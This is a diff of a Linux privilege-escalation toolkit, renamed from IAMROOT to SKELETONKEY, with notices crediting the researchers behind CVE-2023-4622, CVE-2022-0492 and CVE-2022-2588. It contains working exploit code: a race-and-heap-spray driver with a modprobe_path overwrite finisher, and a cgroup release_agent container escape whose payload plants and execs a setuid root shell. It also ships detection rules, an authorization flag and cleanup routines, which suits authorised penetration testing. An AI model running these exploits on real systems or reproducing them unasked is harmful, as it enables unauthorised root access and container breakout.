extern const struct skeletonkey_module af_packet_module;
#endif
@@ -0,0 +1,35 @@
# NOTICE — af_unix_gc (CVE-2023-4622)
## Vulnerability
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
fd-passing → `struct unix_sock` freed while still reachable → slab
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
## Research credit
Discovered and disclosed by **Lin Ma** (Zhejiang University),
August 2023.
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
(disclosure record), plus Lin Ma's public PoC repo.
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
through a socketpair; Thread B triggers unix_gc by closing a socket
in a reference cycle. msg_msg spray refills the freed slot.
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
Bug is reachable as a **plain unprivileged user** — no userns
required, no CAP_* needed. Race-win rate per run is iteration-
dependent; Lin Ma's PoC reports thousands of iterations to first
reclaim. The shared finisher's sentinel timeout handles no-land
outcomes gracefully.
@@ -1,12 +0,0 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_unix_gc_cve_2023_4622 IAMROOT module
* af_unix_gc_cve_2023_4622 SKELETONKEY module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,9 +55,10 @@
* carries the widest version range of any module we ship.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
@@ -127,24 +128,29 @@ static bool can_create_af_unix(void)
return true;
}
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
* the dawn of time. ANY kernel below the fix is vulnerable. The
* kernel_range walker handles "older than every entry" correctly
* (returns false not patched vulnerable). */
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,17 +159,17 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
" (no userns / no CAP_* required — AF_UNIX is universally\n"
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +382,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8);
memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +543,41 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +595,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +642,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +691,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -729,7 +736,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -738,26 +745,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
@@ -765,11 +772,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -778,39 +785,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -821,11 +828,11 @@ static const char af_unix_gc_auditd[] =
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = {
const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -841,7 +848,7 @@ const struct iamroot_module af_unix_gc_module = {
.detect_falco = NULL,
};
void iamroot_register_af_unix_gc(void)
void skeletonkey_register_af_unix_gc(void)
{
iamroot_register(&af_unix_gc_module);
skeletonkey_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif
@@ -0,0 +1,29 @@
# NOTICE — cgroup_release_agent (CVE-2022-0492)
## Vulnerability
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
wrong namespace → host root from a rootless container or unprivileged
userns by mounting cgroup v1 and writing to `release_agent`.
## Research credit
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
January 2022.
Original writeup:
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
write `release_agent``./payload`, trigger via
`notify_on_release` + cgroup process exit.
Kept in the corpus as a portable "containers misconfigured"
demonstration — works across every kernel below the fix without any
tuning. Ships auditd rules covering cgroupfs mounts and
`release_agent` writes.
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/*
* cgroup_release_agent_cve_2022_0492 IAMROOT module
* cgroup_release_agent_cve_2022_0492 SKELETONKEY module
*
* cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,9 +36,8 @@
* exposure even if all the fancy heap-spray bugs are patched.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
@@ -46,6 +45,11 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -71,54 +75,50 @@ static const struct kernel_range cgroup_ra_range = {
sizeof(cgroup_ra_patched_branches[0]),
};
static int can_unshare_userns_mount(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* The unprivileged-userns precondition is now read from the shared
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
* probes once at startup via core/host.c. The previous per-detect
* fork-probe helper was removed. */
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content)
{
@@ -147,23 +147,26 @@ static bool write_file(const char *path, const char *content)
return ok;
}
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
chmod(payload_path, 0755);
if (!ctx->json) {
@@ -173,7 +176,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +196,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */
@@ -206,7 +209,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +257,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status);
}
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false;
for (int i = 0; i < 50; i++) {
struct stat st;
@@ -271,7 +274,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -280,39 +283,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
}
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
* mount are Linux-only kernel surface; the release_agent primitive is
* structurally unreachable elsewhere. Stub out cleanly so the module
* still registers and `--list` / `--detect-rules` work on macOS/BSD
* dev boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n"
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +359,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = {
const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent",
.cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +375,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL,
};
void iamroot_register_cgroup_release_agent(void)
void skeletonkey_register_cgroup_release_agent(void)
{
iamroot_register(&cgroup_release_agent_module);
skeletonkey_register(&cgroup_release_agent_module);
}
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif
@@ -0,0 +1,25 @@
# NOTICE — cls_route4 (CVE-2022-2588)
## Vulnerability
**CVE-2022-2588**`net/sched` cls_route4 handle-zero dangling-filter
UAF → kernel R/W via msg_msg cross-cache refill.
## Research credit
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
(William Liu's analysis built on kylebot's trigger).
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
re-fires with a faked tcf_proto.ops pointer aimed at the
modprobe_path overwrite via the shared finisher.
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/*
* cls_route4_cve_2022_2588 IAMROOT module
* cls_route4_cve_2022_2588 SKELETONKEY module
*
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale
@@ -38,11 +38,8 @@
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
